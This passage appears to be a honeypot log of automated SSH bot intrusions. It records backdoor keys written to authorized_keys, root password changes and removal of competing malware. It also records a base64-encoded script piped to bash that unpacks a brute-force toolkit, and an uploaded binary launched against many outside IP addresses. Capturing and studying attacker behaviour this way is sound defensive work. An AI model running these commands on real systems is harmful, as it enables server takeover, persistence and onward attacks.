\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:57:34.403536+00:00","kind":"output","latency_ms":626,"data":""},{"seq":48,"at":"2026-08-20T12:57:42.463099+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:57:42.463666+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin1234!@","method":"password","accepted":true,"tier":"other"}]} {"id":"46fb043f-7cad-43ac-afbe-b504a2611f5e","name":"frosty-barren-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"92.47.46.174","src_port":59806,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":687,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:42.507032+00:00","ended_at":"2026-08-20T12:49:42.722243+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3732,"events":[{"seq":1,"at":"2026-08-20T12:48:54.656532+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:55.341102+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:49:01.252389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:49:01.903115+00:00","kind":"output","latency_ms":650,"data":"1"},{"seq":5,"at":"2026-08-20T12:49:02.589127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:40oemOI5b3Nd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:49:03.227830+00:00","kind":"output","latency_ms":638,"data":""},{"seq":7,"at":"2026-08-20T12:49:03.274293+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T12:49:03.962116+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:49:04.560692+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor x1"},{"seq":10,"at":"2026-08-20T12:49:05.459718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:49:06.027214+00:00","kind":"output","latency_ms":566,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:49:06.715155+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:49:07.383760+00:00","kind":"output","latency_ms":667,"data":"-rwxr-xr-x 1 root root 148K Apr 8 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:49:08.072481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:49:09.078501+00:00","kind":"output","latency_ms":1004,"data":"0 3 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 2 * * 1 /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:49:09.764771+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:49:10.936440+00:00","kind":"output","latency_ms":1156,"data":" 10:48:53 up 9:39, 1 user, load average: 0.01, 0.03, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:47 1.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:49:11.625012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:49:11.625947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:49:12.313689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:49:12.880354+00:00","kind":"output","latency_ms":566,"data":"64"},{"seq":22,"at":"2026-08-20T12:49:13.572198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:49:13.572811+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:13 up 9:39, 0 user, load average: 0.14, 0.14, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:49:14.260387+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:49:14.260700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:49:14.947742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:49:14.948566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:15.643087+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:15.643587+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:16.330281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:17.321112+00:00","kind":"output","latency_ms":990,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:18.010345+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:18.771406+00:00","kind":"output","latency_ms":760,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:20.868564+00:00","kind":"input","latency_ms":null,"data":"echo \"root p@55wOrd\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:21.553887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:22.211659+00:00","kind":"output","latency_ms":657,"data":""},{"seq":37,"at":"2026-08-20T12:49:23.998189+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:27.462892+00:00","kind":"output","latency_ms":3463,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:28.150890+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:28.928511+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:29.614068+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:30.973764+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:31.677222+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:32.360375+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:32.987767+00:00","kind":"output","latency_ms":626,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:33.672417+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:42.508081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T12:49:42.508643+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"p@55wOrd","method":"password","accepted":true,"tier":"other"}]} {"id":"16ce8ab6-9ac3-48a6-8acf-2f1f38563712","name":"meadow-northern-bison","protocol":"ssh","channel_kind":"exec","src_ip":"81.193.216.17","src_port":56682,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":408,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:19.537181+00:00","ended_at":"2026-08-20T12:49:19.664175+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3907,"events":[{"seq":1,"at":"2026-08-20T12:48:43.457372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:43.862202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:48:48.188697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:48:49.039799+00:00","kind":"output","latency_ms":850,"data":"1"},{"seq":5,"at":"2026-08-20T12:48:49.448138+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YoO7YHvKLyMT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:48:49.856410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:48:49.883402+00:00","kind":"output","latency_ms":434,"data":""},{"seq":8,"at":"2026-08-20T12:48:50.261518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:48:50.828910+00:00","kind":"output","latency_ms":565,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:48:51.235723+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:48:52.285245+00:00","kind":"output","latency_ms":1046,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:48:52.693590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:48:53.308345+00:00","kind":"output","latency_ms":613,"data":"-rwxr-xr-x 1 root root 141K Aug 20 03:01 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:48:53.715634+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:48:54.973647+00:00","kind":"output","latency_ms":1256,"data":"# m h dom mon dow command\n17 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/hoofcheck.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/gallop-backup.log 2>&1\n5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/canter-deploy.log 2>&1"},{"seq":16,"at":"2026-08-20T12:48:55.379837+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:48:56.743494+00:00","kind":"output","latency_ms":1361,"data":" 04:49:53 up 9:39, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 04:48 1.00s 0.01s 0.00s w"},{"seq":18,"at":"2026-08-20T12:48:57.149753+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:48:57.150549+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:48:57.558346+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:48:58.715772+00:00","kind":"output","latency_ms":1157,"data":"64"},{"seq":22,"at":"2026-08-20T12:48:59.123718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:48:59.124157+00:00","kind":"output","latency_ms":null,"data":"top - 12:48:59 up 9:39, 0 user, load average: 0.25, 0.18, 0.25\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 506 free, 449 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:48:59.530715+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:48:59.531297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:48:59.938593+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:48:59.939046+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:00.352143+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:00.353019+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:00.755828+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:49:01.328835+00:00","kind":"output","latency_ms":572,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:49:01.735772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:49:02.527740+00:00","kind":"output","latency_ms":790,"data":"24G"},{"seq":34,"at":"2026-08-20T12:49:04.337960+00:00","kind":"input","latency_ms":null,"data":"echo \"root Admin12345@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:49:04.744009+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:49:05.299941+00:00","kind":"output","latency_ms":554,"data":""},{"seq":37,"at":"2026-08-20T12:49:06.142646+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:49:06.869941+00:00","kind":"output","latency_ms":726,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:49:07.275858+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:49:08.182234+00:00","kind":"output","latency_ms":905,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:49:08.589009+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:49:08.995427+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:49:09.620746+00:00","kind":"output","latency_ms":623,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:49:10.037925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:49:10.709176+00:00","kind":"output","latency_ms":669,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:49:11.124193+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:49:11.617345+00:00","kind":"output","latency_ms":490,"data":""},{"seq":48,"at":"2026-08-20T12:49:19.538050+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:49:19.538504+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Admin12345@","method":"password","accepted":true,"tier":"other"}]} {"id":"d9b95fa5-86ee-4f4a-9ebd-e1d1f8cad745","name":"cheerful-dapper-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"129.45.84.205","src_port":43772,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &","started_at":"2026-08-20T12:10:14.142670+00:00","ended_at":"2026-08-20T12:10:23.792851+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":875,"events":[{"seq":1,"at":"2026-08-20T12:10:14.137026+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.5270151611794990678/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-20T12:10:14.144299+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &"},{"seq":3,"at":"2026-08-20T12:10:14.310909+00:00","kind":"output","latency_ms":621,"data":""}],"credentials":[{"username":"root","password":"centos","method":"password","accepted":true,"tier":"other"}]} {"id":"480ec80d-66e2-4856-97dd-06174b2da80f","name":"leafy-freckled-hare","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":34716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:08:41.365257+00:00","ended_at":"2026-08-20T12:08:41.455427+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3731,"events":[{"seq":1,"at":"2026-08-20T12:08:11.011734+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:08:11.329926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:08:14.418104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:08:15.036937+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":5,"at":"2026-08-20T12:08:15.359565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rffgjvI8OdYC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:08:15.675146+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:08:15.830865+00:00","kind":"output","latency_ms":473,"data":""},{"seq":8,"at":"2026-08-20T12:08:15.992904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:08:16.621243+00:00","kind":"output","latency_ms":628,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:08:16.940169+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:08:17.517016+00:00","kind":"output","latency_ms":576,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:08:17.836628+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:08:18.571448+00:00","kind":"output","latency_ms":733,"data":"-rwxr-xr-x 1 root root 140K Jan 24 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:08:18.890050+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:08:19.909020+00:00","kind":"output","latency_ms":1018,"data":"0 2 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/15 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n@reboot 